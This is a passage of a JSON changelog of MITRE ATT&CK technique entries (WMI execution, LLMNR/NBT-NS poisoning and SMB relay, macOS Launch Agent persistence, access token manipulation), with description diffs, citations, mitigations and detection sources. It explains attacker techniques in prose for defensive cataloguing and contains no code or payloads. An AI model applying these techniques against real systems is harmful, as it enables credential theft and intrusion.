"x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_remote_support": true, "x_mitre_version": "1.2", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"@ionstorm\"]}, \"dictionary_item_removed\": {\"root['x_mitre_system_requirements']\": [\"WMI service, winmgmt, running.\\nHost/network firewalls allowing SMB and WMI ports from source to destination.\\nSMB authentication.\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 23:58:07.715000+00:00\", \"old_value\": \"2020-05-13 22:50:51.258000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\\n\\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\", \"old_value\": \"Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\\n\\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\\n+Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\\n \\n-An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\\n+An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)\"}, \"root['external_references'][1]['source_name']\": {\"new_value\": \"MSDN WMI\", \"old_value\": \"Wikipedia SMB\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.\", \"old_value\": \"Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.\"}, \"root['external_references'][1]['url']\": {\"new_value\": \"https://msdn.microsoft.com/en-us/library/aa394582.aspx\", \"old_value\": \"https://en.wikipedia.org/wiki/Server_Message_Block\"}, \"root['external_references'][2]['source_name']\": {\"new_value\": \"FireEye WMI 2015\", \"old_value\": \"TechNet RPC\"}, \"root['external_references'][2]['description']\": {\"new_value\": \"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.\", \"old_value\": \"Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.\"}, \"root['external_references'][2]['url']\": {\"new_value\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf\", \"old_value\": \"https://technet.microsoft.com/en-us/library/cc787851.aspx\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"FireEye WMI SANS 2015\", \"old_value\": \"MSDN WMI\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.\", \"old_value\": \"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf\", \"old_value\": \"https://msdn.microsoft.com/en-us/library/aa394582.aspx\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_removed\": {\"root['external_references'][4]\": {\"source_name\": \"FireEye WMI SANS 2015\", \"description\": \"Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.\", \"url\": \"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf\"}, \"root['external_references'][5]\": {\"source_name\": \"FireEye WMI 2015\", \"description\": \"Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.\", \"url\": \"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may abuse Windows Management Instrumentation (WMt1Adversaries may abuse Windows Management Instrumentation (WM
>I) to achieve execution. WMI is a Windows administration fea>I) to execute malicious commands and payloads. WMI is an adm
>ture that provides a uniform environment for local and remot>inistration feature that provides a uniform environment to a
>e access to Windows system components. It relies on the WMI >ccess Windows system components. The WMI service enables bot
>service for local and remote access and the server message b>h local and remote access, though the latter is facilitated 
>lock (SMB) (Citation: Wikipedia SMB) and Remote Procedure Ca>by [Remote Services](https://attack.mitre.org/techniques/T10
>ll Service (RPCS) (Citation: TechNet RPC) for remote access.>21) such as [Distributed Component Object Model](https://att
> RPCS operates over port 135. (Citation: MSDN WMI)  An adver>ack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remo
>sary can use WMI to interact with local and remote systems a>te Management](https://attack.mitre.org/techniques/T1021/006
>nd use it as a means to perform many tactic functions, such >) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operate
>as gathering information for Discovery and remote Execution >s using port 135, whereas WMI over WinRM operates over port 
>of files as part of Lateral Movement. (Citation: FireEye WMI>5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI
> SANS 2015) (Citation: FireEye WMI 2015)>) (Citation: FireEye WMI 2015)  An adversary can use WMI to 
 >interact with local and remote systems and use it as a means
 > to execute various behaviors, such as gathering information
 > for Discovery as well as remote Execution of files as part 
 >of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Cita
 >tion: FireEye WMI 2015)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1026: Privileged Account Management" ], "new": [ "M1038: Execution Prevention", "M1040: Behavior Prevention on Endpoint" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0029: Network Traffic (Network Connection Creation)" ], "dropped": [] } } ], "other_version_changes": [ { "type": "attack-pattern", "id": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 19:08:51.677000+00:00", "modified": "2021-09-28 13:09:50.809000+00:00", "name": "LLMNR/NBT-NS Poisoning and SMB Relay", "description": "By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" }, { "kill_chain_name": "mitre-attack", "phase_name": "collection" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1557/001", "external_id": "T1557.001" }, { "source_name": "Wikipedia LLMNR", "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution" }, { "source_name": "TechNet NetBIOS", "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", "url": "https://technet.microsoft.com/library/cc958811.aspx" }, { "source_name": "byt3bl33d3r NTLM Relaying", "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019.", "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html" }, { "source_name": "Secure Ideas SMB Relay", "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019.", "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html" }, { "source_name": "GitHub NBNSpoof", "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", "url": "https://github.com/nomex/nbnspoof" }, { "source_name": "Rapid7 LLMNR Spoofer", "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" }, { "source_name": "GitHub Responder", "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", "url": "https://github.com/SpiderLabs/Responder" }, { "source_name": "Sternsecurity LLMNR-NBTNS", "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning" }, { "source_name": "GitHub Conveigh", "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", "url": "https://github.com/Kevin-Robertson/Conveigh" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Eric Kuehn, Secure Ideas", "Matthew Demaske, Adaptforward" ], "x_mitre_data_sources": [ "Network Traffic: Network Traffic Content", "Network Traffic: Network Traffic Flow", "Service: Service Creation", "Windows Registry: Windows Registry Key Modification" ], "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-09-28 13:09:50.809000+00:00\", \"old_value\": \"2020-03-31 13:54:08.239000+00:00\"}, \"root['x_mitre_data_sources'][0]\": {\"new_value\": \"Network Traffic: Network Traffic Content\", \"old_value\": \"Network Traffic: Network Traffic Flow\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.2", "changelog_mitigations": { "shared": [ "M1030: Network Segmentation", "M1031: Network Intrusion Prevention", "M1037: Filter Network Traffic", "M1042: Disable or Remove Feature or Program" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0019: Service (Service Creation)", "DS0024: Windows Registry (Windows Registry Key Modification)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-01-17 16:10:58.592000+00:00", "modified": "2021-10-15 07:41:40.262000+00:00", "name": "Launch Agent", "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "persistence" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1543/001", "external_id": "T1543.001" }, { "source_name": "AppleDocs Launch Agent Daemons", "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" }, { "source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" }, { "source_name": "Antiquated Mac Malware", "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" }, { "source_name": "OSX.Dok Malware", "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" }, { "source_name": "Sofacy Komplex Trojan", "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" }, { "source_name": "Methods of Mac Malware Persistence", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" }, { "source_name": "OSX Malware Detection", "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" }, { "source_name": "OceanLotus for OS X", "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Creation", "File: File Modification", "Command: Command Execution", "Service: Service Creation", "Service: Service Modification" ], "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "Administrator", "User" ], "x_mitre_platforms": [ "macOS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 07:41:40.262000+00:00\", \"old_value\": \"2020-03-25 22:11:45.513000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n\\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \", \"old_value\": \"Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple\\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\\n \\nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\\u2019s directory structure) or when any user logs in (which requires administrator privileges).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,5 @@\\n-Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. Per Apple\\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\\n+Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\\n+\\n+ Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\\n \\n-Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\\u2019s directory structure) or when any user logs in (which requires administrator privileges).\\n+Adversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) \"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n\\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \", \"old_value\": \"Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\\n+\\n+Ensure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may create or modify launch agents to repeatedlyt1Adversaries may create or modify launch agents to repeatedly
> execute malicious payloads as part of persistence. Per Appl> execute malicious payloads as part of persistence. When a u
>e\u2019s developer documentation, when a user logs in, a per-user>ser logs in, a per-user launchd process is started which loa
> launchd process is started which loads the parameters for e>ds the parameters for each launch-on-demand user agent from 
>ach launch-on-demand user agent from the property list (plis>the property list (.plist) file found in <code>/System/Libra
>t) files found in <code>/System/Library/LaunchAgents</code>,>ry/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, 
> <code>/Library/LaunchAgents</code>, and <code>$HOME/Library>and <code>~/Library/LaunchAgents</code>.(Citation: AppleDocs
>/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemo> Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citat
>ns) (Citation: OSX Keydnap malware) (Citation: Antiquated Ma>ion: Antiquated Mac Malware) Property list files use the <co
>c Malware). These launch agents have property list files whi>de>Label</code>, <code>ProgramArguments </code>, and <code>R
>ch point to the executables that will be launched (Citation:>unAtLoad</code> keys to identify the Launch Agent's name, ex
> OSX.Dok Malware).   Adversaries may install a new launch ag>ecutable location, and execution time.(Citation: OSX.Dok Mal
>ent that can be configured to execute at login by using laun>ware) Launch Agents are often installed to perform updates t
>chd or launchctl to load a plist into the appropriate direct>o programs, launch user specified programs at login, or to c
>ories  (Citation: Sofacy Komplex Trojan)  (Citation: Methods>onduct other developer tasks.   Launch Agents can also be ex
> of Mac Malware Persistence). The agent name may be disguise>ecuted using the [Launchctl](https://attack.mitre.org/techni
>d by using a name from a related operating system or benign >ques/T1569/001) command.   Adversaries may install a new Lau
>software. Launch Agents are created with user level privileg>nch Agent that executes at login by placing a .plist file in
>es and are executed with the privileges of the user when the>to the appropriate folders with the <code>RunAtLoad</code> o
>y log in (Citation: OSX Malware Detection) (Citation: OceanL>r <code>KeepAlive</code> keys set to <code>true</code>.(Cita
>otus for OS X). They can be set up to execute when a specifi>tion: Sofacy Komplex Trojan)(Citation: Methods of Mac Malwar
>c user logs in (in the specific user\u2019s directory structure) >e Persistence) The Launch Agent name may be disguised by usi
>or when any user logs in (which requires administrator privi>ng a name from the related operating system or benign softwa
>leges).>re. Launch Agents are created with user level privileges and
 > execute with user level permissions.(Citation: OSX Malware 
 >Detection)(Citation: OceanLotus for OS X) 
", "changelog_mitigations": { "shared": [ "M1018: User Account Management" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0019: Service (Service Modification)", "DS0022: File (File Creation)", "DS0022: File (File Modification)" ], "dropped": [] } } ], "patches": [ { "type": "attack-pattern", "id": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-12-14 16:46:06.044000+00:00", "modified": "2021-10-17 14:51:49.334000+00:00", "name": "Access Token Manipulation", "description": "Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" }, { "kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1134", "external_id": "T1134" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/633.html", "external_id": "CAPEC-633" }, { "source_name": "Pentestlab Token Manipulation", "description": "netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.", "url": "https://pentestlab.blog/2017/04/03/token-manipulation/" }, { "source_name": "Microsoft Command-line Logging", "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" }, { "source_name": "Microsoft LogonUser", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx" }, { "source_name": "Microsoft DuplicateTokenEx", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx" }, { "source_name": "Microsoft ImpersonateLoggedOnUser", "description": "Microsoft TechNet. (n.d.). Retrieved April 25, 2017.", "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx" }, { "source_name": "BlackHat Atkinson Winchester Token Manipulation", "description": "Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.", "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Tom Ueltschi 